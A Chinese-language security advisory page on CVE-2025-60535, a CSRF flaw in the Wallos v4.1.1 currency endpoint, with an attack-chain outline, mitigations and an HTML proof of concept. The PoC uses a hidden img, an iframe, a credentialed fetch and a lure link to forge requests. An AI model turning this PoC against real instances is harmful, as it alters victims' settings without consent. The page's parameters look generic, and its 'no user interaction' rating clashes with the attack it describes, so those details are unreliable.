IPBUF安全漏洞报告
English
CVE-2025-60535 CVSS 7.3 高危

CVE-2025-60535:Wallos v4.1.1 跨站请求伪造漏洞

披露日期: 2025-10-14

漏洞信息

漏洞编号
CVE-2025-60535
漏洞类型
跨站请求伪造(CSRF)
CVSS评分
7.3 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Wallos

相关标签

CSRF跨站请求伪造Wallos订阅管理高危漏洞无需认证GET请求Web安全CVE-2025-60535

漏洞概述

CVE-2025-60535 是 Wallos 订阅管理系统 v4.1.1 版本中存在的一个跨站请求伪造(CSRF)漏洞。该漏洞位于应用程序的 `/endpoints/currency/currency` 组件中,允许远程攻击者通过精心构造的 GET 请求执行任意操作。Wallos 是一款开源的个人订阅管理工具,用于帮助用户跟踪和管理各类订阅服务。该漏洞的 CVSS 3.1 评分为 7.3,属于高危级别,其攻击向量为网络(AV:N),攻击复杂度低(AC:L),无需任何权限(PR:N),也无需用户交互(UI:N)。漏洞的存在意味着攻击者可以诱导已登录的受害者浏览器向 Wallos 服务器发送恶意请求,从而以受害者身份执行未经授权的操作,例如修改货币设置、篡改订阅信息或执行其他管理操作。由于该漏洞利用门槛极低且影响范围明确,对使用 Wallos 进行订阅管理的个人用户和组织构成了显著的安全威胁。该漏洞已于 2025 年 10 月 14 日公开披露,漏洞发现者为 [email protected]

技术细节

该 CSRF 漏洞的根本原因在于 Wallos v4.1.1 的 `/endpoints/currency/currency` 端点未实施有效的 CSRF 防护机制(如 CSRF Token 验证、SameSite Cookie 属性或 Origin/Referer 检查)。具体而言,该端点接受 GET 请求来执行状态变更操作(如货币设置修改),而 GET 请求在浏览器中可以被多种方式触发,包括 `<img>` 标签、`fetch()` API 重定向或简单的超链接。攻击者利用流程如下:首先,攻击者构造一个包含恶意 URL 的网页或电子邮件,该 URL 指向目标 Wallos 实例的 `/endpoints/currency/currency` 端点,并附带修改货币设置的参数。当已登录 Wallos 的受害者访问该恶意页面时,浏览器会自动携带有效的会话 Cookie 发送 GET 请求,服务器在未验证请求来源合法性的情况下处理该请求,从而执行攻击者指定的操作。由于漏洞影响机密性、完整性和可用性均为低级别,攻击者主要能够进行数据篡改类操作,如修改货币单位、改变显示设置等。虽然单个操作的影响有限,但攻击者可以组合多个 CSRF 请求实现更复杂的攻击链,例如结合其他漏洞进行权限提升或数据窃取。

攻击链分析

STEP 1
步骤1:环境准备
攻击者搭建一个恶意网站或准备包含恶意 HTML 内容的电子邮件,构造指向目标 Wallos 实例 /endpoints/currency/currency 端点的 CSRF 载荷 URL。
STEP 2
步骤2:诱导受害者访问
攻击者通过钓鱼邮件、社交媒体或其他方式诱导已登录 Wallos 的受害者点击恶意链接或访问恶意网页。
STEP 3
步骤3:自动发送恶意请求
受害者的浏览器在加载恶意页面时,自动通过 img 标签、iframe 或 JavaScript 向 Wallos 服务器发送带有受害者会话 Cookie 的 GET 请求。
STEP 4
步骤4:服务器处理未验证请求
Wallos 服务器在未进行 CSRF Token 验证或来源检查的情况下,接收并处理该请求,执行攻击者指定的操作(如修改货币设置)。
STEP 5
步骤5:操作完成与影响
攻击者的恶意操作以受害者身份成功执行,可能导致货币设置被篡改、订阅信息被修改或其他未授权的状态变更。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- CVE-2025-60535 PoC: CSRF via crafted GET request to /endpoints/currency/currency --> <!-- Save as HTML and host on attacker's server, then trick victim into visiting --> <!DOCTYPE html> <html> <head> <title>CVE-2025-60535 - Wallos CSRF PoC</title> </head> <body> <h1>CSRF Proof of Concept for Wallos v4.1.1</h1> <!-- Method 1: Using an img tag to trigger the GET request automatically --> <img src="http://target-wallos-instance/endpoints/currency/currency?currency=USD&action=update" style="display:none;" alt=""> <!-- Method 2: Using a hidden iframe --> <iframe src="http://target-wallos-instance/endpoints/currency/currency?currency=EUR&action=change" style="display:none;"></iframe> <!-- Method 3: Using JavaScript fetch (may be blocked by CORS but request is still sent) --> <script> // Automatically trigger the CSRF request when page loads fetch('http://target-wallos-instance/endpoints/currency/currency?currency=GBP&action=modify', { method: 'GET', credentials: 'include' }); </script> <!-- Method 4: Using a clickable link to manually trigger --> <a href="http://target-wallos-instance/endpoints/currency/currency?currency=JPY&action=delete" target="_blank"> Click here for a surprise </a> </body> </html>

影响范围

Wallos < 4.1.2

防御指南

临时缓解措施
在官方补丁发布之前,建议管理员采取以下临时缓解措施:1)限制对 Wallos 管理界面的网络访问,仅允许可信 IP 地址访问;2)在反向代理(如 Nginx 或 Apache)层面添加 Referer 检查规则,拒绝来自外部域名的对 /endpoints/currency/ 路径的请求;3)临时禁用货币设置功能或修改相关端点要求 POST 请求;4)为浏览器 Cookie 添加 SameSite 属性限制;5)提醒用户不要在登录 Wallos 后访问不可信的外部链接或网站。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表